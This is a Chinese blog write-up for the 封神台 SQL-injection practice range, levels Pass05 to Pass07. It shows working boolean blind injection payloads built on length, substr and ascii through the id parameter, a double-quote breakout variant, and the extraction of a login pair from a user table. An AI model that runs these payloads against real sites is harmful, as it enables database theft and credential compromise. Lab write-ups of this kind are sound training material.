封神台靶场 | 布尔盲注 | Pass05-07

原创

haijvng 于 2021-03-12 19:02:15 发布 625 收藏 3

分类专栏： 封神台靶场 文章标签： sql

本文链接：https://blog.csdn.net/Fanny0602/article/details/114662326

封神台靶场 | 布尔盲注

题目地址： 掌控安全学院SQL注入靶场

文章目录

任务

通过显错注入获得flag。

对该页面进行GET传参，传参名为id

Pass05

数据库查询语句：

```
select * from news where id=1
```

盲注：

1.查询到的数据只会显示有数据/没有结果

2.可以用ASCII进行猜测

盲注查询步骤：

1.数据库名字长度

2.数据库库名

3.表名长度

4.表名名字

5.字段名长度

6.字段名名字

7.猜内容

解盲注步骤详情

- 数据库名长度

```
id=1 and length(database())=12
```

从=1开始猜，，猜到正确的数值
正确数据库名长度：12

- 数据库库名

```
id=1 and substr(database(),1,1)='k'
```

或者

```
id=1 and ascii(substr(database(),1,1))=107
```

substr(database(),1,1)：从字符串“database()”的第一个字符开始取一个。
=号可以替换成<、>、<=、>=都是可以的。
正确数据库名： kanwolongxia

- 表名长度

```
id=1 and length((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1))=
6
```

```
id=1 and length((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 1,1))=
4
```

```
id=1 and length((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 2,1))=
4
```

正确长度：4、6

- 表名名字

```
id=1 and ord(
substr(
(select table_name from information_schema.tables
 where table_schema='kanwolongxia' limit 0,1)
,1,1)
)=108
```

正确表名：loflag、news、user

- 字段名长度

```
id=1 and length(
(select table_name from information_schema.tables
 where table_schema='kanwolongxia' limit 0,1)
)=6
```

loflag表下的正确字段名长度：2、6

- 字段名名字

```
id=1 and substr(
(select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1)
,1,1
)='l'
```

```
id=1 and ord(
substr(
(select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1)
,1,1
))=108
```

猜测所需的flag在loflag表中
返回正常，说明loflag表中的列名称第一位是i

loflag表下的字段：id、flaglo

- 猜内容

```
id=1 and (ascii(substr((select flaglo from loflag limit 0,1),1,1)))=122
```

kanwolongxia这个数据库下的loflag表的第一个字段名的第一个字符的ascii码是否为150
limit 0,1 取的是表内第一行的数据。
substr(string,1,1)取得是第一行数据的第一个字符
要取第一行数据的第二个字符就修改成substr(string,2,1)。
要修改第几行数据就改 limit 0,1 中0的值，0指的是第一行数据，1指的是取1行。

Pass06

前面的内容如上，数据都是一样的，就是查询的方式不一样。

数据库查询语句：

```
select * from news where id="1"
```

思路：
查询方法与以上一致，只有sql拼接这里有所不同。
ps：这样的暴破可以使用工具来进行，提高效率。如：brup等。

正确的查询内容语句：
id=1

```
id=1" and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))="122
```

Pass07

数据库查询语句：

```
select * from user where username ='' and password=''
```

思路：
这里有一个用户登录注册的页面，通过输入账号密码查询是否登录成功。
利用以上的方法，猜出user表中的数据。

user：
– id
– username
– password

查询到的一条数据：
admin；asdasdd